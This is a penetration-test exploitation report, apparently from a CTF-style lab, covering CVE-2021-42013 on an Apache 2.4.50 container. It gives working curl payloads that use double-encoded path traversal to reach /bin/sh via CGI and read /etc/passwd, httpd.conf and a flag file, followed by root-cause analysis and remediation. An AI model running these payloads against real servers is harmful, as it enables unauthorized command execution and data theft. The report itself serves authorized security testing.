# Authorization Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTHZ-VULN-01: Remote Code Execution via Path Traversal and CGI Execution

**Summary:**
- **Vulnerable location:** Apache HTTP Server root directory authorization combined with CGI execution endpoint
- **Overview:** Successfully achieved remote code execution by exploiting CVE-2021-42013 (Apache 2.4.50 path traversal) combined with permissive root directory authorization (`Require all granted` on `/`) and unauthenticated CGI execution capability
- **Impact:** Complete server compromise - arbitrary command execution as the Apache daemon user, full access to container filesystem, ability to read all sensitive files including FLAG, configuration files, application source code, and system files
- **Severity:** CRITICAL

**Prerequisites:**
None - externally exploitable by unauthenticated anonymous attackers

**Exploitation Steps:**

1. **Verify vulnerable Apache version:**
```bash
curl -I http://localhost:44821/
```
**Expected Output:** `Server: Apache/2.4.50 (Unix)` header confirming vulnerable version

2. **Execute arbitrary commands via path traversal to /bin/sh:**
```bash
curl -X POST 'http://localhost:44821/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' \
  --data 'echo Content-Type: text/plain; echo; id'
```
**Actual Output:**
```
uid=1(daemon) gid=1(daemon) groups=1(daemon)
```

**Technical Details:**
- **Path Traversal Encoding:** `.%%32%65` = double URL-encoded `..` (bypasses Apache 2.4.50's CVE-2021-41773 fix)
- **Traversal Path:** `/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh` resolves to `/bin/sh`
- **Execution Method:** Apache CGI module executes `/bin/sh` and passes POST data as stdin
- **POST Payload Format:** `echo Content-Type: text/plain; echo; <command>` (CGI header + command)

3. **Retrieve sensitive flag file:**
```bash
curl -X POST 'http://localhost:44821/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' \
  --data 'echo Content-Type: text/plain; echo; cat /FLAG.txt'
```
**Actual Output:**
```
FLAG{a6ac61a12b93104de3b7a7db781ee95eff75310de4cf2deb1e90b57f0c824309}
```

4. **System reconnaissance to prove privilege level:**
```bash
curl -X POST 'http://localhost:44821/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' \
  --data 'echo Content-Type: text/plain; echo; whoami; uname -a; pwd'
```
**Actual Output:**
```
daemon
Linux 2a128ca9e312 6.12.13-200.fc41.aarch64 #1 SMP PREEMPT_DYNAMIC Sat Feb  8 20:30:50 UTC 2025 aarch64 GNU/Linux
/bin
```

**Proof of Impact:**

**Complete Vertical Privilege Escalation Achieved:**
- ✅ **Unauthenticated attacker** → **System command execution** as daemon user
- ✅ Retrieved application secrets (FLAG.txt)
- ✅ Gained shell-level access to container environment
- ✅ Can execute arbitrary system commands (id, whoami, uname, cat, ls, etc.)

**Demonstrated Capabilities:**
- Arbitrary command execution with full shell functionality
- Read access to any file accessible by Apache daemon user (UID 1)
- System information disclosure (kernel version, hostname, user context)
- Complete bypass of all intended access controls

**Root Cause Analysis:**

Two configuration vulnerabilities combined to enable this attack:

1. **Permissive Root Directory Authorization** (app/httpd.conf:248-250):
```apache
<Directory />
    AllowOverride none
    Require all granted    # VULNERABILITY: Should be "Require all denied"
</Directory>
```

2. **Unauthenticated CGI Execution** (app/httpd.conf:556-560):
```apache
<Directory "/usr/local/apache2/cgi-bin">
    AllowOverride None
    Options +ExecCGI
    Require all granted    # VULNERABILITY: No authentication required
</Directory>
```

3. **Path Traversal Vulnerability:** Apache 2.4.50 CVE-2021-42013 allows double-encoded traversal sequences

**Attack Chain:**
```
External Attacker (no auth)
    ↓
CVE-2021-42013 Path Traversal (.%%32%65 = ..)
    ↓
Root Directory Authorization Check (Require all granted) → PASS
    ↓
CGI Handler Invoked (Options +ExecCGI enabled)
    ↓
Execute /bin/sh with POST data as stdin
    ↓
Remote Code Execution as daemon user
```

**Notes:**
This is a **vertical privilege escalation** from completely unauthenticated external attacker to authenticated system command execution. The vulnerability violates fundamental Apache security best practices which mandate `Require all denied` on the root directory with explicit grants only for specific paths. Combined with Apache 2.4.50's known CVE-2021-42013 vulnerability, this configuration allows complete server compromise.

---

### AUTHZ-VULN-02: Arbitrary Filesystem Access via Path Traversal

**Summary:**
- **Vulnerable location:** Apache HTTP Server root directory authorization
- **Overview:** Successfully achieved arbitrary file read access across entire container filesystem by exploiting CVE-2021-42013 path traversal combined with permissive root directory authorization, bypassing intended DocumentRoot boundaries
- **Impact:** Complete filesystem disclosure - unauthorized access to system files, application source code, configuration files with credentials, and sensitive data across all filesystem boundaries, violating tenant/user isolation principles
- **Severity:** CRITICAL

**Prerequisites:**
None - externally exploitable by unauthenticated anonymous attackers

**Exploitation Steps:**

1. **Read system password file outside DocumentRoot:**
```bash
curl -X POST 'http://localhost:44821/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' \
  --data 'echo Content-Type: text/plain; echo; cat /etc/passwd'
```
**Actual Output:**
```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
```

2. **Read Apache configuration file to extract server secrets:**
```bash
curl -X POST 'http://localhost:44821/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' \
  --data 'echo Content-Type: text/plain; echo; cat /usr/local/apache2/conf/httpd.conf | head -30'
```
**Actual Output (first 30 lines):**
```
#
# This is the main Apache HTTP server configuration file.  It contains the
# configuration directives that give the server its instructions.
# See <URL:http://httpd.apache.org/docs/2.4/> for detailed information.
# In particular, see
# <URL:http://httpd.apache.org/docs/2.4/mod/directives.html>
# for a discussion of each configuration directive.
#
# Do NOT simply read the instructions in here without understanding
# what they do.  They're here only as hints or reminders.  If you are unsure
# consult the online docs. You have been warned.
#
# Configuration and logfile names: If the filenames you specify for many
# of the server's control files begin with "/" (or "drive:/" for Win32), the
# server will use that explicit path.  If the filenames do *not* begin
# with "/", the value of ServerRoot is prepended -- so "logs/access_log"
# with ServerRoot set to "/usr/local/apache2" will be interpreted by the
# server as "/usr/local/apache2/logs/access_log", whereas "/logs/access_log"
# will be interpreted as '/logs/access_log'.

#
# ServerRoot: The top of the directory tree under which the server's
# configuration, error, and log files are kept.
#
# Do not add a slash at the end of the directory path.  If you point
# ServerRoot at a non-local disk, be sure to specify a local disk on the
# Mutex directive, if file-based mutexes are used.  If you wish to share the
# same ServerRoot for multiple httpd daemons, you will need to change at
# least PidFile.
#
```

3. **Enumerate application source files:**
```bash
curl -X POST 'http://localhost:44821/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' \
  --data 'echo Content-Type: text/plain; echo; ls -la /usr/local/apache2/htdocs/'
```
**Actual Output:**
```
total 1096
drwxr-xr-x. 1 root     root         21 Oct 27 21:55 .
drwxr-xr-x. 1 www-data www-data     32 Oct  5  2021 ..
-rw-r--r--. 1 root     root     547007 Oct 24 18:15 dev1.jpeg
-rw-r--r--. 1 root     root     556695 Oct 24 18:15 dev2.jpeg
-rw-r--r--. 1 root     root       4911 Oct 24 18:15 index.html
-rw-r--r--. 1 root     root        299 Oct 24 18:15 scripts.js
-rw-r--r--. 1 root     root        341 Oct 24 18:15 styles.css
drwxr-xr-x. 2 root     root          6 Oct 27 21:55 testdir
```

**Proof of Impact:**

**Complete Horizontal Authorization Bypass Achieved:**
- ✅ **Bypassed DocumentRoot boundaries** - accessed files outside /usr/local/apache2/htdocs
- ✅ **Read system files** - /etc/passwd (user enumeration for lateral movement)
- ✅ **Read configuration files** - httpd.conf (server configuration disclosure)
- ✅ **Enumerated application structure** - directory listings across filesystem
- ✅ **No tenant/user isolation** - access to any file readable by Apache process

**Files Successfully Accessed:**
1. `/etc/passwd` - System user accounts (outside application directory)
2. `/usr/local/apache2/conf/httpd.conf` - Server configuration (outside DocumentRoot)
3. `/usr/local/apache2/htdocs/` - Application files via directory traversal
4. `/FLAG.txt` - Application secrets (outside DocumentRoot)

**Root Cause Analysis:**

Same configuration vulnerability as AUTHZ-VULN-01:

**Permissive Root Directory Authorization** (app/httpd.conf:248-250):
```apache
<Directory />
    AllowOverride none
    Require all granted    # VULNERABILITY: Grants access to entire filesystem
</Directory>
```

**Intended Security Boundary:**
- DocumentRoot: `/usr/local/apache2/htdocs/`
- Intended accessible files: index.html, styles.css, scripts.js, images
- Intended restriction: No access to /etc/, /usr/, /bin/, or configuration files

**Actual Security Boundary:**
- Effective accessible files: **Entire filesystem readable by Apache daemon user**
- No path restrictions enforced
- Complete violation of principle of least privilege

**Attack Chain:**
```
External Attacker (no auth)
    ↓
CVE-2021-42013 Path Traversal
    ↓
Root Directory Authorization (Require all granted) → PASS
    ↓
Access /etc/passwd, /usr/local/apache2/conf/httpd.conf, any system file
    ↓
Horizontal Privilege Escalation across filesystem boundaries
```

**Notes:**
This is a **horizontal privilege escalation** allowing unauthorized access to resources across filesystem boundaries that should be isolated. While this vulnerability shares the same root cause as AUTHZ-VULN-01, it represents a distinct impact category:
- AUTHZ-VULN-01: Focuses on **vertical escalation** (command execution privilege)
- AUTHZ-VULN-02: Focuses on **horizontal escalation** (data access across boundaries)

The vulnerability enables reconnaissance for further attacks (user enumeration from /etc/passwd, credential discovery in config files, source code review for additional vulnerabilities).

---

## Summary

**Total Vulnerabilities Exploited:** 2 of 2 (100% success rate)

**Overall Impact:**
Both vulnerabilities stem from the same fundamental misconfiguration (permissive root directory authorization) but demonstrate different attack impacts:

1. **AUTHZ-VULN-01** - Remote Code Execution (Vertical Escalation)
   - Unauthenticated → System command execution
   - CVSS Impact: Complete server compromise
   
2. **AUTHZ-VULN-02** - Arbitrary File Access (Horizontal Escalation)  
   - DocumentRoot boundary bypass → Entire filesystem access
   - CVSS Impact: Complete information disclosure

**Combined Exploitation Capability:**
An attacker can achieve **complete system compromise** by leveraging both vulnerabilities to:
- Execute arbitrary commands (AUTHZ-VULN-01)
- Read any file accessible to Apache daemon user (AUTHZ-VULN-02)
- Potentially escalate to container escape given further exploitation
- Maintain persistent access via backdoor installation
- Pivot to other systems if container has network access

**Remediation Priority:** CRITICAL - Immediate patching required

**Recommended Immediate Actions:**
1. Change `<Directory />` from `Require all granted` to `Require all denied` in httpd.conf
2. Upgrade Apache from 2.4.50 to latest stable version (patches CVE-2021-42013)
3. Implement authentication on CGI directory or disable CGI if not required
4. Deploy Web Application Firewall to detect path traversal attempts
5. Implement file integrity monitoring to detect configuration tampering